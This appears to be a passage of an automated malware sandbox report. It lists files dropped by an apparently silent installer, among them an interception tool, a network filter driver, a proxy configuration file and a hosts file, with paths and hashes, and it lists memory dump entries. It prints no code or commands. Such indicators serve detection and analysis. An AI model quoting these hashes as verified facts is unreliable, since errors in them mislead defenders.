Path C:\ProgramData\YngRuntime\parent_ca.thumb.tmp
Size 41B
SHA256 f7cefe69686dc0c17363616849cfe19e08596b32117c457cab9acb2e31c4f27d
MD5 a0c95b53f9573552d5362decbf88e6b5
SHA1 6b357b73c965f229556f6d704ebc8ca5727cd3cf
SHA512 ad5c428fb8246cb0f710505b8018c30b9e97aa79cd86f7ea768002d49d231b384c9422f0a4c2363da575b5eda83c982c7631f0b80bba7f34f1f4222965356f2d
MD5 SHA1 SHA512

Submit Download

redirect.txt

Path C:\ProgramData\YngRuntime\redirect.txt
Size 30B
SHA256 55506d60b0d6838823f2f556dad20f4da4c791af79df26f07d572c1a14745d8b
MD5 a2a37293f8268e9cbc3c2eafae92fa5a
SHA1 c5cd9975ce828aef96f3ee921b6388c10061ab2d
SHA512 2e1ac1ed358dcd07301ae501de0d126dd1d6b4b3bd4dd19ebbf414026441863efab2f06a4cf089735c0824f667cfa81b7afcb38e7c6699e8dff6df7e3bea4c23
MD5 SHA1 SHA512

Submit Download

server_url.txt

Path C:\ProgramData\YngRuntime\server_url.txt
Size 23B
SHA256 3a3005a42bac676c0d7f86ecb94820e25932cd9be6922f2c7b46ea5e7f8226fe
MD5 9d3cb8f51fbfab437c0f6701d40a8d2c
SHA1 e5e90320d3c01cd7cefee18d47139b8e54fbda1b
SHA512 99a3bd01874a636561ee7d18d35624af0142e9e91dc7686f1bdaab377cd7504a0f30a1930af20780f443bb982c6390449605f6c34211588125211dea61aac153
MD5 SHA1 SHA512

Submit Download

yng.pac

Path C:\ProgramData\YngRuntime\yng.pac
Size 817B
SHA256 b7a5b597e47654dbede7bc61dd12b13e3a3ca651fd85b380c89e15ab16608f9a
MD5 f430000950642dbc7cd4f2b2c65ccf02
SHA1 df135dd6f2677674dd7869ebc94b81b9991b1ddc
SHA512 b3a91d1dfb160a1bb95e0d67618d66a040e3e307bf6dbb6f086a62aea78f6cc296b90219b7d1a462b2fe895152b7ab5c44cba6d8030f7bdde3e97667f2e5955b
TLSH
T1A101CED99ACAF13E635100748D5A1249D879DC20411CEE31E09E09027FF6FA482FBDE4
MD5 SHA1 SHA512 TLSH

Submit Download

yng.pac

Path C:\ProgramData\YngRuntime\yng.pac
Size 4KB
SHA256 c55051864422d2c17a8e40fff09b5162cf1675053a0b0852f3006e2cd163ce7d
MD5 625074d9fc57c695ea793bfd25e89084
SHA1 6244bbb89cf786ad1a50cae53a966ae438b22b98
SHA512 7d8aa19ecfd7d2fd06e143c62620450a7ac71540a2b769427a6c0d818e3175299ca52b1edd0ca62b3c9533701c20fd8bc080737f92f439552a4a1a3c706d2b45
SSDEEP 96:A9Y2RmrO3NYee1L/DpMsWwrClvsg88I2tlgpoTHU:2RBKLLp3Wq0V852tlJT0
TLSH
T178918C7201D85DA89AD484B4CEAC101F64B8D9F648CEF7B6DEEB99117E5C14432F3E84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yng-admin-1868-240777625.json

Path C:\Users\Admin\AppData\Local\Temp\yng-admin-1868-240777625.json
Size 128B
SHA256 0e1957fbce5448aa3f7cdb10fdac8032504c4104438e976c28d3ee1d3935915b
MD5 135aedfec75a27eb74eb027b49194994
SHA1 4a6f77a9297c46646ef91f77c6a367908ff1751a
SHA512 125056f059fd466ddbe7c77d7165316061c9300776ea8b46e12dd4ae179449617c5f4f5db8476ccc82fbe75fd8a81cfbf0021e12369599cceea19466ba0fee2e
TLSH
T171B02B3D014DE4A101CCCA660804803A032200318143844A4C84661018EE2A8260C461
MD5 SHA1 SHA512 TLSH

Submit Download

WpnPlatformHost.exe

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-E3E45E944B1E499B8D732C9C17A706D0\WpnPlatformHost.exe
Size 579KB
SHA256 050f81568517488ea9a2074d5128387e1f132acd82ac5fd5056ec72a0700c08d
MD5 6dc0cc20efd3e84d8aa6d03542607cb9
SHA1 f3121aab0f002040928bf0773d7cb40ece859f6b
SHA512 d02052a0479b25e0c27fdf3c80c9a3fe74839161fd389069fcd286ffe71375ced9bffae81bb625b19da4dc5799d4a9c37a392f0572ef02e1595970fac65ddaa2
SSDEEP 6144:PB7zm2vldKBZxXzRmZT0JMm9CkONlrE9yOUeSUSI+H5ndaiuNbEujeRkzf/64f1o:fa9X149mWyoHz6FNso/B1Ot5mW2d6
TLSH
T19EC45C1A979412FCE1B7C179CE868D52EB72780A07E16ADF039049A35F676E04F3A713
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yng-mitm.exe

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-E3E45E944B1E499B8D732C9C17A706D0\yng-mitm.exe
Size 856KB
SHA256 b6ea3d4d88db74373b0741c5fcc1be99903fcc7d5c9d6aa9e07581c6c4f34a5c
MD5 ab82ef8973226c775373d1e2195ecb31
SHA1 0ca6400ab62b67036b5ea66c6fb0cfe0341fd90e
SHA512 87e84731f0a36574cac56f386a22051ca7010463babc40e9afe6c324eb076b06aebafc662cc59381b888386bcf3e97c76c37bfc9a267b28c662b03d1a888a3f5
SSDEEP 12288:jRVFvGCWIDraZTpcRVjH5yRRa+0VGXJEaswZpA7XP+h0ACqo4pf7zV:tVF5WID+pcRVH5yRRQQXzD8zP+SUJzV
TLSH
T117157D5ADAE405FAC467C179C9861607FBB6B4191360ABDB07E646963F23BE14F3E300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yngwfp.sys

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-E3E45E944B1E499B8D732C9C17A706D0\yngwfp.sys
Size 81KB
SHA256 881239663c249b9933cd419aa4459e55d0ecfde87a41c490b5b0d4efc4b947dd
MD5 4f43b10e5f9fb0c1cf0db1c3b8810ba0
SHA1 99a53a63abb4dd0e5e2e6619b9269275ac4877a8
SHA512 aa52aeb8dba1f3d8c59e204f77598d3aa8c13e427396ffe81d4cdb559da86bb353337b71d8e2661514f4b18ebd54bc1fcae94f92aa002f8398136364f4bbda1b
SSDEEP 1536:LInxCJ4/2DYuRgrXB4Rvo+U3g0SmgdoF8tfyKL7So1:LMlIYsxi+U3fVgdoW7fSo1
TLSH
T18983081197E814E9F66796B8C9BA8413CAB3F8522B12CBCF0360454A4F33BC59D357E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OgrePlatform.dat

Path C:\Users\Admin\AppData\Local\Temp\yngsetup\OgrePlatform.dat
Size 776KB
SHA256 8890576c44c1e7d5cf1bf4a0a6a22e88a2d3599ac0110904082bfead05722d5b
MD5 1d2f6da51a590e2e9320ac7e1db4342d
SHA1 319e72e2fbb6c1cb07b82f92ae4d4b200e58279d
SHA512 b2dca4e95f51e380e502a312dcf4f25c3c102007675b9ef0488108f6e5e6141c348ad4e09efcb5b92b72bccf60d8cce0c377f2ac8f1b8be7b7979dbcb5c8802c
SSDEEP 12288:13Tx1mU+/k7wpnH20wK+07etDZRV0p3pVH9Ye8kSnvc1JYGClH9v66FrBPFY4WH3:ZP9ct2HXHtD7V8LdYQwldiOrBRwUqxd
TLSH
T12905334082508756C47C1896536BAE9B2FBFF1A3A6AFBF5E1B70E1C852630C7423B751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YngSilentSetup.exe

Path C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe
Size 227KB
SHA256 d5a1184e080fe25ef6e79e838044dffd6298221b6da9bdb5f7d80f2858115cc4
MD5 575201873f82e0961a8600db5c11e73f
SHA1 07176d545c356b965b805557d089a9097e86abf5
SHA512 65cd6ca6ea372dcac128bfc5a748930dd71979979dc5e9a383861af8e09c3307196a6c6a5f2a3b77a8feec4b7a07140380c8d7769be7486b7620b2f4e53eac0d
SSDEEP 6144:ui1gt/jhHYO0zxWrDKGik/BgYwR6YJe81SUBIuGNlCT:SYJeFBHC
TLSH
T1AE347E1AA7A549FAE177C578C9924906EB337C4547B0EADF039009A29F237E09F3D712
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ISocket.dll

Path C:\Windows\SysWOW64\ISocket.dll
Size 295KB
SHA256 e3345226e9506c8e121f9dc5395a8ac2b4550169c321907a80001edec684092f
MD5 bf2d71bfbd2be254d544360ce086dd16
SHA1 c327014024ab92b6332b55814bbd27680ea3e208
SHA512 c0e5a304786da3edab8c815605141ad4f881bee16eb602626bb9068afee469e65188764e13ccce2e4f057c56b50788d20aab09797938983fc1ffa6247dc895b9
SSDEEP 6144:g8DXahI8vTjQdWdBnrBr3CD+0S9wwhg1DSYEmz5TB/YvSE3+CR:g8DXahI8v7JvpwtwYEmz5TZYvvR
TLSH
T13E548D103A628136D9FD463588BEAB5F51ADA5104BE984D7AF8C4E7D0CE61C32B347CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 175B
SHA256 faac8d1296a6fc42c9a15d4903316fdfe211376f13a6d919ea3f048280b643d9
MD5 d6e08a800a4cf332183cb99718cb4a3b
SHA1 3979b0993071d9df95ae8b8ef106c1a8920fa4a7
SHA512 5bf2624bd39e60bb135a0ffdd3d98a99ed5194538f89bc5e84e6885c457351679d08f1366f5bef7eac37227fee9a400b7361ee7eb9e80c060266a36787ea5fc1
TLSH
T161C08C18497EBC156F3081A28F66E492F42BE74204AF1E2B311CA68C3347A0CA504070
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5780-0-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-204-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-11-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-153-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-1-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

Download

memory/5780-141-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-225-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-235-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-236-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download

memory/5780-237-0x0000000000400000-0x0000000000AA1000-memory.dmp

Download